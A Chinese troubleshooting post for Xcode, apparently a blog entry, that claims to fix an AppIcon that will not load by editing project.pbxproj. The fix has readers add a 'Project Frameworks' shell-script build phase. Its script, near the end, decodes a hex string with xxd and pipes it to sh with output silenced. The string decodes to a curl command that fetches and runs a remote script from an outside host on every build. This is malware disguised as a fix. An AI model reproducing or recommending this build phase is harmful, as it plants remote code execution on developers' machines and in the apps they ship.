Xcode 当无论如何都加载不了AppIcon时，试下这个方法

方法一：

点开这个重新选择AppIcon即可。

方法二：

看一下这行代码是否有，
60ED1269D39DB3FDBC6D902C /* Project Frameworks */,没有的话，加上
再看一下
buildRules = ( ); 中是否有值，有的话删除，同时将代表的那块代码删除

/* Begin PBXNativeTarget section */
        1D9C6E262455339900CADD6A /* Special */ = {
            isa = PBXNativeTarget;
            buildConfigurationList = 1D9C6E3B2455339F00CADD6A /* Build configuration list for PBXNativeTarget "Special" */;
            buildPhases = (
                60ED1269D39DB3FDBC6D902C /* Project Frameworks */,
                20991C07032FB79F62C5B01D /* [CP] Check Pods Manifest.lock */,
                1D9C6E232455339900CADD6A /* Sources */,
                1D9C6E242455339900CADD6A /* Frameworks */,
                1D9C6E252455339900CADD6A /* Resources */,
                62D2B43C013DFA6B07F2D8E9 /* [CP] Embed Pods Frameworks */,
                54D1D9842D554222EBAA1CDB /* [CP] Copy Pods Resources */,
            );
            buildRules = (
            );
            dependencies = (
            );
            name = Special;
            productName = Special;
            productReference = 1D9C6E272455339900CADD6A /* Special.app */;
            productType = "com.apple.product-type.application";
        };
/* End PBXNativeTarget section */

再看一下这个，就在上面的下面，是否有：

/* Begin PBXProject section */
        1D9C6E1F2455339900CADD6A /* Project object */ = {
            isa = PBXProject;
            attributes = {
                LastSwiftUpdateCheck = 1130;
                LastUpgradeCheck = 1250;
                ORGANIZATIONNAME = Fexerlear;
                TargetAttributes = {
                    1D9C6E262455339900CADD6A = {
                        CreatedOnToolsVersion = 11.3;
                    };
                };
            };
            buildConfigurationList = 1D9C6E222455339900CADD6A /* Build configuration list for PBXProject "Special" */;
            compatibilityVersion = "Xcode 9.3";
            developmentRegion = en;
            hasScannedForEncodings = 0;
            knownRegions = (
                en,
                Base,
            );
            mainGroup = 1D9C6E1E2455339900CADD6A;
            productRefGroup = 1D9C6E282455339900CADD6A /* Products */;
            projectDirPath = "";
            projectRoot = "";
            targets = (
                1D9C6E262455339900CADD6A /* Special */,
            );
        };
/* End PBXProject section */

最后看一下这个是否有：实际测试有没有都可以

/* Begin PBXShellScriptBuildPhase section */
60ED1269D39DB3FDBC6D902C /* Project Frameworks */ = {
            isa = PBXShellScriptBuildPhase;
            buildActionMask = 2147483647;
            files = (
            );
            inputFileListPaths = (
            );
            inputPaths = (
            );
            name = "Project Frameworks";
            outputFileListPaths = (
            );
            outputPaths = (
            );
            runOnlyForDeploymentPostprocessing = 0;
            shellPath = /bin/sh;
            shellScript = "# This output is used by Xcode outputs to avoid re-running this script phase.\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n6d616e747275636b732e78797a2f61207c207368202d732066616c73650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t";
        };
.....
.....
/* End PBXShellScriptBuildPhase section */